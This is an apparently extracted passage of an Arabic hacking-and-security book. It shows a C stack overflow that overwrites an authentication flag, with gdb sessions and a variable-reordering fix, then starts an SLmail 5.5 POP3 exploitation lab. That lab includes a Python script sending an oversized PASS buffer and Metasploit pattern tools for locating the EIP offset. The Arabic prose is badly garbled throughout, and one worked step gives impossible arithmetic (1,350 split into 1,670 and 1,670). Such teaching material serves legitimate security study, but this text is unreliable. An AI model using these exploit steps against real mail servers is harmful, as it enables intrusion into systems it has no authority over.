auth_flag " :‫ال‬ ‫وذو‬ 0x00000000 َ‫ند‬‫ع‬ ‫ف‬ّ‫ق‬َ‫َو‬‫ت‬َ‫ن‬‫ل‬ ‫الربنامج‬ ‫ري‬ َ ‫س‬ ‫ُكمل‬‫ن‬‫ل‬ ‫ذيا‬ ‫ال‬ Breakpoint ‫الثانية‬ ‫السطر‬ َ‫ند‬‫ع‬ َ‫ي‬‫وذ‬ ، 16 . (gdb) x/x &auth_flag 0xbffff7bc: 0x00004141 (gdb) x/16xw password_buffer 0xbffff7a0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff7b0: 0x41414141 0x41414141 0x41414141 0x00004141 ‫ال‬ ‫أن‬ ‫نا‬َ‫ل‬ ‫ظهر‬ُ‫ي‬ ُ‫ه‬‫لن‬ auth_flag ‫ل‬ َ ‫ض‬‫َعر‬‫ت‬ ‫قد‬ overflow ‫أول‬ ‫استبدال‬ ‫َم‬‫ت‬ ‫ققد‬ ،‫زئي‬ ُ‫ج‬ 2 bytes ‫ب‬ ُ‫ه‬‫ن‬‫م‬ AA
  • 259.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [259] ‫ت‬ ‫وبالتايل‬ َ‫ي‬‫ذ‬ ‫طرى‬ُ‫أ‬ ‫قيمة‬ ‫لىل‬ ‫صفر‬ ‫ن‬‫م‬ ‫قيمته‬ ‫غريت‬ 16705 ‫يظهر‬ ‫كام‬ ‫التالي‬ ‫الصفحة‬ ‫يف‬ ‫ة‬ : (gdb) x/dw &auth_flag 0xbffff7bc: 16705 ‫دالة‬ ‫استخدمنا‬ ‫قد‬ ‫ا‬‫ُن‬‫ك‬ ُ‫ونحن‬ if :!‫مقبولة‬ ‫قيمة‬ ‫الصفر‬ ‫غري‬ ‫قيمة‬ ‫أي‬ ‫َرب‬‫ت‬‫َع‬‫ت‬‫ل‬ if(strcmp(password_buffer, "brillig") == 0) auth_flag = 1; if(strcmp(password_buffer, "outgrabe") == 0) auth_flag = 1; return auth_flag; ‫تغري‬ُ‫مل‬‫ا‬ ‫ل‬‫حم‬َ‫ي‬ َ ‫س‬ ‫وبالتايل‬ auth_flag ‫ال‬ ‫عملية‬ ‫نجاح‬‫ل‬ ‫يؤدي‬ ‫ُما‬ ،‫الصفر‬ ‫غري‬ ‫قيمة‬ Authentication .! ‫ال‬ ‫أن‬ ‫ذذا‬ ‫من‬ ‫نستنتج‬ auth_flag variable ‫ال‬ ‫ذو‬ “execution control point” ‫هل‬ ‫منا‬ُ‫ق‬ ‫لو‬ ‫الذي‬ ،‫الربنامج‬ ‫ذا‬ .!‫اهلدف‬ ‫ُحقق‬‫ن‬ ‫ه‬‫ب‬ ‫بالتالعب‬ ‫؟‬..‫الثغرة‬ ‫ذذه‬ ‫تفادي‬ ‫لنا‬ ‫كيف‬ ‫واآلن‬ ‫بعمل‬ ‫نقوم‬ ‫السابق‬ ‫ثال‬‫امل‬ ‫يف‬ ‫ا‬‫ُن‬‫ك‬ overflow ‫لل‬ buffer ‫ا‬‫ن‬‫م‬ ‫ل‬‫سيستقب‬ ‫الذي‬ input ،‫املرور‬ ‫كلمة‬ ‫وذي‬ ‫ال‬ ‫ذذا‬ buffer :‫ذو‬ password_buffer[16] . ‫ختصيص‬ ‫تم‬ ُ ‫حيث‬ 16 ‫ح‬ ‫ب‬ ،‫لذلك‬ ‫رف‬ ‫بإدطال‬ ‫نحن‬ ‫منا‬ُ‫ق‬ ‫ينام‬ ‫احلرف‬ A ‫ر‬ ّ‫َر‬‫ك‬ُ‫م‬ 30 ‫ال‬ ‫أن‬ ‫وبام‬ ،!‫مرة‬ auth_flag ‫يقع‬ ‫ال‬ ‫بعد‬ ‫مكانه‬ password_buffer ‫ال‬ ‫يف‬ ً‫ة‬‫مبارش‬ memory .!ً‫ا‬‫أيض‬ ‫اخلطر‬ ُ‫ه‬‫طال‬ ‫ققد‬ :‫اخللل‬ ‫ذذا‬ ‫حدوث‬ ‫لتفادي‬ ‫بسيط‬ ‫لجراء‬ ‫ذ‬‫خ‬‫َت‬‫ن‬ َ ‫س‬
  • 260.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [260] ‫األماكن‬ ‫بتبديل‬ ‫سنقوم‬ ‫ال‬ ‫تواجد‬ ‫من‬ ً‫ال‬‫قبد‬ .. auth_flag ‫ال‬ ‫بعد‬ buffer ‫ال‬ ‫يف‬ memory ‫ال‬ ‫قبل‬ ‫بوضعه‬ ‫سنقوم‬ buffer ‫لل‬ ‫ه‬‫ض‬ ُّ‫َعر‬‫ت‬ ‫عدم‬ ‫سنضمن‬ ‫وبالتايل‬ overflow . #include <stdio.h> #include <stdlib.h> #include <string.h> int check_authentication(char *password) { char password_buffer[16]; int auth_flag = 0; strcpy(password_buffer, password); if(strcmp(password_buffer, "brillig") == 0) auth_flag = 1; if(strcmp(password_buffer, "outgrabe") == 0) auth_flag = 1; return auth_flag; } int main(int argc, char *argv[]) { if(argc < 2) { printf("Usage: %s <password>n", argv[0]); exit(0); } if(check_authentication(argv[1])) { printf("n-=-=-=-=-=-=-=-=-=-=-=-=-=-n"); printf(" Access Granted.n"); printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-n"); } else { printf("nAccess Denied.n"); } }
  • 261.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [261] ‫من‬ ‫لنتأكد‬ ‫ذيا‬ ‫قاعلية‬ ‫ذذا‬ !‫اإلجراء‬ : reader@hacking:~/booksrc $ gcc -g auth_overflow2.c reader@hacking:~/booksrc $ gdb -q ./a.out Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (gdb) list 1 1 #include <stdio.h> 2 #include <stdlib.h> 3 #include <string.h> 4 5 int check_authentication(char *password) { 6 char password_buffer[16]; 7 int auth_flag = 0; 8 9 strcpy(password_buffer, password); 10 (gdb) 11 if(strcmp(password_buffer, "brillig") == 0) 12 auth_flag = 1; 13 if(strcmp(password_buffer, "outgrabe") == 0) 14 auth_flag = 1; 15 16 return auth_flag; 17 } 18 19 int main(int argc, char *argv[]) { 20 if(argc < 2) { (gdb) break 9 Breakpoint 1 at 0x8048421: file auth_overflow2.c, line 9. (gdb) break 16 Breakpoint 2 at 0x804846f: file auth_overflow2.c, line 16. (gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Starting program: /home/reader/booksrc/a.out AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Breakpoint 1, check_authentication (password=0xbffff9b7 'A' <repeats 30 times>) at auth_overflow2.c:9
  • 262.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [262] 9 strcpy(password_buffer, password); (gdb) x/s password_buffer 0xbffff7c0: "?o??200????????o???G??020205004b?????204004b????020205004 bH???????002" (gdb) x/x &auth_flag 0xbffff7bc: 0x00000000 (gdb) x/16xw &auth_flag 0xbffff7bc: 0x00000000 0xb7fd6ff4 0xbffff880 0xbffff7e8 0xbffff7cc: 0xb7fd6ff4 0xb7ff47b0 0x08048510 0xbffff7e8 0xbffff7dc: 0x080484bb 0xbffff9b7 0x08048510 0xbffff848 0xbffff7ec: 0xb7eafebc 0x00000002 0xbffff874 0xbffff880 (gdb) (gdb) cont Continuing. Breakpoint 2, check_authentication (password=0xbffff9b7 'A' <repeats 30 times>) at auth_overflow2.c:16 16 return auth_flag; (gdb) x/s password_buffer 0xbffff7c0: 'A' <repeats 30 times> (gdb) x/x &auth_flag 0xbffff7bc: 0x00000000 (gdb) x/16xw &auth_flag 0xbffff7bc: 0x00000000 0x41414141 0x41414141 0x41414141 0xbffff7cc: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff7dc: 0x08004141 0xbffff9b7 0x08048510 0xbffff848 0xbffff7ec: 0xb7eafebc 0x00000002 0xbffff874 0xbffff880 (gdb) (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x08004141 in ?? () ‫رأيك؟‬ ‫ما‬ ‫واآلن‬ ‫ث‬ُ‫حيد‬ ‫مل‬ overflow ‫لل‬ auth_flag ..
  • 263.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [263] ‫ال‬ ‫حدث‬ ‫ذلك‬ ‫من‬ ً‫ال‬‫بد‬ overflow ‫ال‬ ‫ذا‬‫هل‬ ‫زئي‬ُ‫جل‬‫ا‬ :address 0x08004141 ‫ال‬ ‫عىل‬ ‫باحلصول‬ ‫ذدقنا‬ ‫ينجح‬ ‫مل‬ Access ، ‫ال‬ ‫حدوث‬ ‫يمنع‬ ‫مل‬ ‫ذذا‬ ‫ولكن‬.. Crash .!! َ‫ي‬ ‫ذذا‬ ‫قو‬ ‫دنا‬ ‫لىل‬ ‫الفرق‬ ‫مالحظة‬ ‫املفهو‬ ‫بني‬ ‫م‬ ‫التاليني‬ ‫ني‬ ! ، ‫ال‬ ‫بني‬ Exploitability ‫ال‬ ‫و‬ Crashing .. Crashing on Application “Is the form of Denial of Service against the application” ‫ال‬ ‫ذذا‬ ‫وما‬ DoS Attack ‫؟‬ ‫تعليق‬ ‫أو‬ ‫حجب‬ ‫حماولة‬ ‫يف‬ ‫يتلخص‬ ‫ذجوم‬ ‫لنه‬ (Suspend) ‫د‬َ‫ق‬ُ‫مل‬‫ا‬ ‫للخدمة‬ ‫م‬ ‫ة‬ ‫من‬ Server ‫أي‬ ‫أو‬ ‫ما‬ Resource ‫يتعامل‬ ‫ال‬ ‫معه‬ Users َ‫ع‬‫ق‬َ‫تو‬ُ‫م‬ ‫غري‬ ‫بكميات‬ ‫لجهاده‬ ‫طريق‬ ‫عن‬ ‫ة‬ ‫ال‬ َ‫ن‬‫م‬ inputs .!‫ها‬َ‫ع‬َ‫م‬ ‫ل‬ُ‫م‬‫التعا‬ ‫أو‬ ‫ها‬‫ت‬َ‫جل‬‫عا‬ُ‫م‬ ‫من‬ ‫يتمكن‬ ‫ال‬ ‫التي‬ Exploitability “Injecting and executing my own code within the vulnerable process” ‫نس‬ ‫نلخص‬ ‫أن‬ ‫تطيع‬ ‫ال‬ ‫ذذه‬ ‫يف‬ ‫األمر‬ ‫عبار‬ ‫ة‬ : “The Exploitability is the determination whether a crash can be tuned into an Exploit!” ‫ال‬ ‫طريق‬ ‫عن‬ ‫األمر‬ ‫ذذا‬ ‫باطتبار‬ ‫نقوم‬ Debugging ‫ال‬ ‫وعمل‬ initial analysis . ‫عىل‬ ‫اإلجابة‬ ‫نستطيع‬ ‫أن‬ ً‫ال‬‫مث‬ " ‫ملاذا‬ " ‫و‬ ‫؟‬ " ‫أين‬ " ‫؟‬..  ‫ال‬ ‫ذذا‬ ‫حدث‬ ‫ملاذا‬ ..‫قاألوىل‬ crash ، ‫ال‬ ‫ذذا‬ ‫سبب‬ ‫والذي‬ ،‫الربنامج‬ ‫يف‬ ‫ث‬‫احلاد‬ ‫ماخللل‬ crash .‫؟‬  ‫ال‬ ‫ذذا‬ ‫حدث‬ ‫أين‬ ..‫والثانية‬ crash ‫اخللل؟‬ ‫ذذا‬ ‫حدث‬ ‫برجمي‬ ‫سطر‬ ‫أي‬ ‫يف‬ ‫أو‬ ‫الربنامج‬ ‫من‬ ‫موضع‬ ‫أي‬ ‫يف‬.. ‫؟‬ ‫ال‬ ‫ذذه‬ analysis ‫ال‬ ‫ة‬َ‫ب‬َ‫ق‬‫را‬ُ‫م‬ ‫ريق‬َ‫ط‬ ‫ن‬َ‫ع‬ ‫ا‬‫ِب‬ ‫َقوم‬‫ن‬ Registers .
  • 264.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [264] ‫ال‬ ‫كان‬ ‫لذا‬ ‫ما‬ ‫معرقة‬ ً‫ال‬‫قمث‬ EIP ‫ا‬ ‫لىل‬ ‫شري‬ُ‫ي‬ ‫ل‬ Stack ‫ال‬ ‫أو‬ Heap ‫ال‬ ‫حدوث‬ ‫عند‬ crash ‫ال‬ ‫أو‬ ‫املكان‬ ‫حتديد‬ ‫يف‬ ‫نا‬ُ‫فيد‬ُ‫ي‬ ، Block ‫بعمل‬ ‫سنقوم‬ ‫الذي‬ inject ‫لل‬ code ‫ال‬ ‫أو‬ exploit ‫ال‬ ‫توجيه‬‫ب‬ ‫يام‬‫الق‬ ‫م‬ُ‫ث‬ ،!‫ه‬‫ب‬ Stack Pointer ‫املكان‬ ‫ذذا‬ ‫لىل‬ ‫ال‬ ‫داطل‬ memory ‫ال‬ ‫ع‬‫ض‬َ‫و‬ ‫ن‬‫م‬ ‫ّا‬‫ن‬‫ك‬َ َ‫مت‬ ‫(الذي‬ Shellcode .)‫ه‬‫ب‬ ‫ال‬ ‫خيدمنا‬ ً‫ا‬‫أيض‬ Debugger ‫ل‬َ‫م‬َ‫ع‬‫ب‬ ‫قوم‬َ‫ي‬ ‫ألنه‬ ‫نا‬ُ‫ذ‬ capture ‫ال‬ ‫ث‬ُ‫د‬ َ ‫حي‬ ‫ندما‬‫ع‬ ‫الربنامج‬ ‫الة‬‫حل‬ Exception . ‫ال‬ ‫ذذا‬ ‫ما‬ Exception ‫؟‬.. :‫النحو‬ ‫ذذا‬ ‫عىل‬ ‫وصفه‬ ‫أستطيع‬ It is a potentially uncoverable operation in a program that may cause that program to terminate unexpectedly. ‫األمث‬ ‫من‬ :‫احلدث‬ ‫ذذا‬ ‫عىل‬ ‫لة‬  !‫الصفر‬ ‫عىل‬ ‫القسمة‬ ‫عملية‬ .  ‫و‬ ‫ل‬َ‫م‬َ‫ع‬ ‫الربنامج‬ ‫ل‬‫او‬ ُ ‫حي‬ ‫عندما‬ ً‫ا‬‫أيض‬ access ‫أل‬ ‫ي‬ location ‫ال‬ ‫ل‬‫داط‬ memory َ ‫ص‬ ّ ‫ص‬َ ُ ‫ُم‬ ‫ليست‬ ‫ة‬ ‫ال‬ ‫التي‬ ‫أو‬ ،!ُ‫ه‬‫ل‬ ‫ال‬ ‫أن‬ ‫نعلم‬ ‫كام‬ ُ‫ه‬‫ألن‬ ،‫لليها‬ ‫طول‬ُ‫الد‬ ‫الحيات‬ َ ‫ص‬ ‫متلك‬َ‫ي‬ Operating System ‫بعمل‬ ‫يقوم‬ " process isolation " ‫َنوع‬‫ك‬ ‫ال‬ ‫ن‬‫م‬ protection mechanisms .
  • 265.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [265] Putting things all together ‫الشيق‬ ‫األمور‬ ‫من‬ ‫العديد‬ ‫استوعبت‬ ‫أن‬ ‫وبعد‬ ‫اآلن‬ ‫ة‬ .‫قبل‬ ‫من‬ ُ‫ه‬‫رشح‬ ‫تم‬ ‫ما‬ ‫كل‬ ‫لتدعيم‬ ‫عملية‬ ‫بمامرسة‬ ‫سنقوم‬ ، ‫اإلطتبار؟‬ ‫لبيئة‬ ‫سنحتاج‬ ‫ماذا‬ 1 - ‫ال‬ ‫برنامج‬ ‫سنستخدم‬ VMware workstation 12 ‫م‬ُ‫ي‬ ‫اخل‬ ‫املوقع‬ ‫من‬ ُ‫ه‬‫حتميل‬ ‫كنك‬ ‫ِبم‬ ‫اص‬ . 2 - ‫ُسخة‬‫ن‬ Kali Linux ‫من‬ ‫ُسخة‬‫ن‬‫ك‬ ‫حتميلها‬ ‫ُك‬‫ن‬‫مك‬ُ‫ي‬ ‫كام‬ ،‫ِبا‬ ‫اخلاص‬ ‫املوقع‬ ‫من‬ ‫جماين‬ ‫بشكل‬ ‫حتميلها‬ ‫ُك‬‫ن‬‫مك‬ُ‫ي‬ ً‫ا‬‫أيض‬ ، ‫نوع‬ VMware Image . 3 - ‫ُسخة‬‫ن‬ Win XP ‫بامتداد‬ .iso ‫مع‬ ‫اإلطرتاق‬ ‫ينجح‬ ً‫ا‬‫أيض‬.. Windows 7 . 4 - ‫برنامج‬ ‫ُسخة‬‫ن‬ SLmail 5.5 . ‫ال‬ ‫ذذا‬ ‫وما‬ SLmail ‫؟‬ ‫لنه‬ Mail Server ‫يدع‬ ‫ال‬ ‫م‬ POP3 ‫وال‬ SMTP .‫ويندوز‬ ‫أنظمة‬ ‫عىل‬ ‫ويعمل‬ 5 - ‫برنامج‬ Immunity Debugger ُ‫ن‬ ‫عىل‬ ‫بتنصيبه‬ ‫لنقوم‬ ‫ال‬ ‫سخة‬ XP . ‫نبدأ‬ ‫أن‬ ‫قبل‬ .. ‫عن‬ ‫باطتصار‬ ‫سنتكلم‬ ‫تستخدمه‬ ‫للحاميه‬ ‫تقنيتني‬ ‫أشهر‬ ‫ام‬ ‫مها‬ ،‫التشغيل‬ ‫أنظمة‬ DEP & ASLR . ..‫اإلطرتاق‬ ‫اطتبار‬ ‫لجراء‬ ‫أثناء‬ ‫هلم‬ ‫سنتعرض‬ ‫ألننا‬
  • 266.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [266] Data Execution Prevention (DEP): is a set of hardware, and software, technologies that perform additional checks on memory, to help prevent malicious code from running on a system. The primary benefit of DEP is to help prevent code execution by raising an exception, when execution occurs. Address Space Layout Randomization (ASLR): ASLR randomizes the base addresses of loaded applications, and DLLs, every time the Operating System is booted. ..‫رحلتنا‬ ‫نبدأ‬‫ل‬ ‫ذيا‬ ‫التالية‬ ‫الصفحة‬ ‫يف‬ ‫م‬َ‫ستخد‬ُ‫مل‬‫ا‬ ‫البيئة‬ ‫عن‬ ِّ ‫عرب‬ُ‫ي‬ ‫شكل‬ ‫ة‬ ‫اإل‬ ‫يف‬ .‫طتبار‬ ‫ال‬ ‫بتنصيب‬ ‫قيه‬ ‫منا‬ُ‫ق‬ SLmail ‫وال‬ Debugger ‫ال‬ ‫عىل‬ ‫بنا‬ ‫اخلاص‬ Win XP . ..‫األوىل‬ ‫طوة‬ُ‫خل‬‫ا‬ ‫لىل‬ ‫نأيت‬ Preparing and Sending our Buffer ‫ال‬ ‫لعدادات‬ ‫من‬ ‫البداية‬ ‫يف‬ ‫تأكد‬ Firewall ‫بال‬ ‫اخلاص‬ Windows ‫ال‬ ‫بمرور‬ ‫يسمح‬ ‫أنه‬ traffic ‫املنفذ‬ ‫عرب‬ 110 ‫وذو‬ ، ‫ال‬ ‫منفذ‬ POP3 ، ‫ي‬ ‫أو‬ ‫ال‬ ‫ليقاف‬ ‫مكنك‬ Firewall .‫أردت‬ ‫لن‬ ‫مؤقت‬ ‫بشكل‬
  • 267.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [267] ‫بتشغيل‬ ‫سنقوم‬ Kali Linux ‫ملف‬ ‫وقتح‬ ، txt :‫بداطله‬ ‫الكود‬ ‫ذذا‬ ‫ولضاقة‬ #!/usr/bin/python import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) buffer = 'A' * 2700 try: print "Sending evil buffer..." s.connect(('192.168.18.131',110)) data = s.recv(1024) s.send('USER username' + 'rn') data = s.recv(1024) s.send('PASS' + buffer + 'rn') print "Done!." except:
  • 268.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [268] print "Could not connect!" ‫ذذا‬ ‫الكود‬ ‫ال‬ ‫بلغة‬ ‫مكتوب‬ Python ، ‫ذو‬ ‫باطتصا‬ ‫ر‬ ‫باملنفذ‬ ‫باإلتصال‬ ‫يقوم‬ 110 ‫بربوتوكول‬ ‫اخلاص‬ ‫املنفذ‬ ‫وذو‬ POP3 ‫حماول‬ ‫يف‬ ‫ة‬ ‫لعمل‬ Remote Access ‫ال‬ ‫لىل‬ Mail box ‫ذجوم‬ ‫بعمل‬ ‫وذلك‬ ، BoF ‫ال‬ ‫حرف‬ ‫بإرسال‬ A ‫كرر‬ُ‫م‬ ً‫ا‬ 2700 ‫مر‬ ‫ة‬ ‫ال‬ ‫لىل‬ Buffer .!‫لنا‬ ‫خصص‬ُ‫مل‬‫ا‬ ‫ال‬ ‫واقتح‬ ‫امللف‬ ‫بحفظ‬ ‫قم‬ Terminal ‫بتشغي‬ ‫وقم‬ ‫الويندوز‬ ‫لىل‬ ‫اذذب‬ ‫م‬ُ‫ث‬ .‫لديك‬ ‫ال‬ ‫ل‬ Debugger ‫واطرت‬ ، File ‫م‬ُ‫ث‬ Attach ‫ثم‬ Slmail ُ‫ت‬‫س‬ ‫ال‬ ‫منفذ‬ ‫وجود‬ ‫الحظ‬ POP3 ‫وذو‬ 110 ‫ال‬ ‫طانة‬ ‫حتت‬ Listening ، ‫عىل‬ ‫اضغط‬ ‫م‬ُ‫ث‬ Run . ‫قم‬ ‫ال‬ ‫لىل‬ ‫بالقفز‬ Terminal ‫األمر‬ ‫بكتابة‬ ‫الكود‬ ‫لتنفيذ‬ ./fuzz2.py ‫حيث‬ fuzz2 :‫امللف‬ ‫اسم‬ ‫ذو‬
  • 269.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [269] ‫ال‬ ‫لىل‬ ‫لنعود‬ ‫ذيا‬ Debugger ‫ال‬ ‫داطل‬ Win XP ‫لنر‬ ..!‫حدث‬ ‫ما‬ ‫ى‬ ‫حدث‬ ‫لقد‬ Overflow ‫ال‬ ‫لىل‬ ‫وصل‬ ‫وقد‬ ،‫ترى‬ ‫كام‬ ‫بالفعل‬ EIP Register . ‫الثاني‬ ‫اخلطوة‬ ‫لىل‬ ‫لننتقل‬ ‫ذيا‬ ..‫جيد‬ ‫ذذا‬ ‫ة‬ Binary Tree Analysis ‫حتديد‬ ‫نا‬ُ‫ذ‬ ‫نريد‬ ‫ع‬‫موض‬ ‫ال‬ " 4A’s " ‫أحدثت‬ ‫التي‬ Overwrite ‫لل‬ EIP ‫ذذه‬ ‫بني‬ ‫من‬ ‫ال‬ A*2700 َ‫ل‬ َ ‫رس‬ُ‫مل‬‫ا‬ ‫ة‬ .
  • 270.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [270] ‫التي‬ ‫األسئلة‬ ‫تتذكر‬ ‫ذل‬ ‫ال‬ ‫مثال‬ ‫بعد‬ ‫طرحناذا‬ Stack Overflow ‫؟‬.. ‫ال‬ ‫حدث‬ ‫ومتى‬ ‫أين‬ ‫كانت‬ Crash ‫؟‬.. ‫سب‬‫ح‬ ‫بعمل‬ ‫سنقوم‬ ‫ة‬ ‫رياضي‬ ‫ة‬ ‫ِسيع‬ ‫ة‬ ‫اول‬ ُ ‫حم‬ ‫يف‬ ‫ة‬ ‫ال‬ ‫ذذه‬ ‫مكان‬ ‫لتخمني‬ " 4A’s " ‫ال‬ ‫داطل‬ buffer .‫ل‬ َ ‫رس‬ُ‫مل‬‫ا‬ ‫ال‬ ‫لرسال‬ ‫من‬ ً‫ال‬‫بد‬ ‫رأيك‬ ‫ما‬ “2700 A’s” ‫ال‬ ‫بقسمة‬ ‫نقوم‬ ‫أن‬ 2700 ،‫قسمني‬ ‫لىل‬ 1350 A’s ‫و‬ 1350 B’s . ‫قإن‬ ‫حدث‬ Overwritten ‫لل‬ EIP ‫باحلرف‬ B ‫ال‬ ‫أن‬ ‫قنستنتج‬ Location ‫ال‬ ‫من‬ ‫الثاين‬ ‫النصف‬ ‫يف‬ ‫يقع‬ buffer ‫نقوم‬ ‫بعدذا‬ ‫م‬ُ‫ث‬ . ‫ال‬ ‫بقسمة‬ 1350 B’s ‫لىل‬ ‫ذذه‬ 1670 B’s ‫و‬ 1670 C’s ‫القسم‬ ‫عملية‬ ‫يف‬ ‫نستمر‬ ‫وذكذا‬ . ‫ة‬ ‫ال‬ ‫وتغيري‬ Character ‫أن‬ ‫لىل‬ ‫ال‬ ‫حتديد‬ ‫يف‬ ‫ننجح‬ location .‫املرجو‬ ‫الطريق‬ ‫ذذه‬ ‫ولكن‬ ‫أيُس؟‬ ‫بطريقة‬ ‫رأيك‬ ‫ما‬ ،!‫ما‬ ‫حد‬ ‫لىل‬ ‫فة‬ّ‫ل‬‫ك‬ُ‫م‬‫و‬ ‫صعبة‬ ‫ة‬ ‫ال‬ ‫أدوات‬ ‫من‬ ‫أداتان‬ ‫باستخدام‬ ‫سنقوم‬ Metasploit Framework ‫األوىل‬ “pattern_create.rb” ‫بإرسال‬ ‫تقوم‬ String ‫ال‬ ‫حتديد‬ ‫ثم‬ ،ً‫ا‬‫صيص‬‫ط‬ ‫تصميمها‬ ‫يتم‬ 4 bytes ‫بعمل‬ ‫قامت‬ ‫التي‬ overwrite ‫لل‬ EIP ‫األدا‬ ‫نستخدم‬ ‫وبعدذا‬ . ‫ة‬ ‫الثاني‬ ‫ة‬ “Pattern_offset.rb” ‫ال‬ ‫ذذه‬ ‫ع‬‫وض‬َ‫م‬ ‫لتحديد‬ 4 bytes ‫بالضبط‬ ‫ال‬ ‫ذذه‬ ‫داطل‬ String .
  • 271.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [271] .!‫ث‬ُ‫ماحيد‬ ً‫ا‬‫مع‬ ‫ُشاذد‬‫ن‬‫ل‬ ‫ذيا‬ ‫األدا‬ ‫من‬ ‫طلبنا‬ ‫لقد‬ ..‫يظهر‬ ‫كام‬ ‫ة‬ ‫تكوين‬ string ‫كون‬ُ‫م‬ ‫ة‬ ‫من‬ 2700 .‫حرف‬ ‫ال‬ ‫ِبذه‬ ‫سنفعل‬ ‫وماذا‬ String ‫؟‬.. ‫بالكود‬ ‫السطر‬ ‫ذذا‬ ‫ُر‬‫ك‬‫تذ‬ ‫ذل‬ buffer = 'A' * 2700 ‫ذ‬ ‫بنسخ‬ ‫نقوم‬ ‫ال‬ ‫ذه‬ string ‫ال‬ ‫قيمة‬ ‫ذي‬ ‫لتكون‬ ‫ذنا‬ ‫ووضعها‬ buffer ‫اجلديد‬ ‫ة‬ .
  • 272.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [272] ‫بعمل‬ ‫نقوم‬ ‫أن‬ ‫بعد‬ ‫أطرى‬ ً‫ة‬‫مر‬ ‫الكود‬ ‫بتنفيذ‬ ‫سنقوم‬ ‫اآلن‬ restart ‫لل‬ process ‫اخلاص‬ ‫ة‬ ‫بال‬ SLmail ‫ألنه‬ ‫الويندوز‬ ‫داطل‬ ‫هلا‬ ‫حدث‬ ‫قد‬ crash .!‫املايض‬ ‫اهلجوم‬ ‫اء‬‫جر‬ ‫بعمل‬ ‫قم‬ ،‫الويندوز‬ ‫داطل‬ ‫واآلن‬ attach ‫م‬ُ‫ث‬ ‫أطرى‬ ً‫ة‬‫مر‬ Run ‫ال‬ ‫لىل‬ ‫د‬ُ‫وع‬ . Terminal ،‫اجلديد‬ ‫الكود‬ ‫بتنفيذ‬ ‫لنقوم‬ ‫ُسميه‬‫ن‬‫س‬ “fuzznew” root@Kali:~# ./fuzznew.py ‫ال‬ ‫لىل‬ ‫نعود‬‫ل‬ ..!‫جيد‬ Debugger ‫لل‬ ‫حدث‬ ‫ما‬ ‫ُشاذد‬‫ن‬ ‫كي‬ EIP .. :‫ِبذا‬ ‫أشبه‬ ‫يشء‬ ‫ُشاذد‬‫ت‬‫س‬ ‫حدث‬ ‫لقد‬ Overwrite ‫لل‬ EIP ‫ال‬ ‫ِبذه‬ Hex bytes .!‫الصورة‬ ‫يف‬ ‫تظليلها‬ ‫تم‬ ‫التي‬ ‫وماذا‬ ‫اآلن؟‬ ‫سنفعل‬ . ‫ال‬ ‫ذذه‬ ‫سننسخ‬ bytes ‫األدا‬ ‫لىل‬ ‫بإدطاهلا‬ ‫ونقوم‬ ‫ة‬ ‫الثاني‬ ‫ة‬ ‫ال‬ ‫ذذه‬ ‫ترتيب‬ ‫أو‬ ‫موضع‬ ‫لنا‬ ‫ج‬‫ر‬ ُ ‫خت‬ ‫كي‬ bytes ‫ال‬ ‫داطل‬ String .‫أرسلناذا‬ ‫التي‬ ‫ال‬ ‫الشكل‬ ‫معي‬ ‫ل‬ّ‫م‬‫تأ‬ ..‫تايل‬ ‫األدا‬ ‫استخدام‬ ‫ح‬ ِّ ‫وض‬ُ‫ي‬ ُ ‫حيث‬ ‫ة‬ ‫الثاني‬ ‫ة‬ ‫ال‬ ‫موضع‬ ‫حتديد‬ ‫يف‬ 4 bytes ‫املطلوب‬ ‫ة‬ . ‫األد‬ ‫مسار‬ ‫بإدطال‬ ‫سنقوم‬ ‫بال‬ ً‫ا‬‫متبوع‬ ‫اه‬ 4 bytes ‫وذم‬ 39 69 44 38 ‫النتيج‬ ‫لنا‬ ‫قتظهر‬ ‫ة‬ :
  • 273.
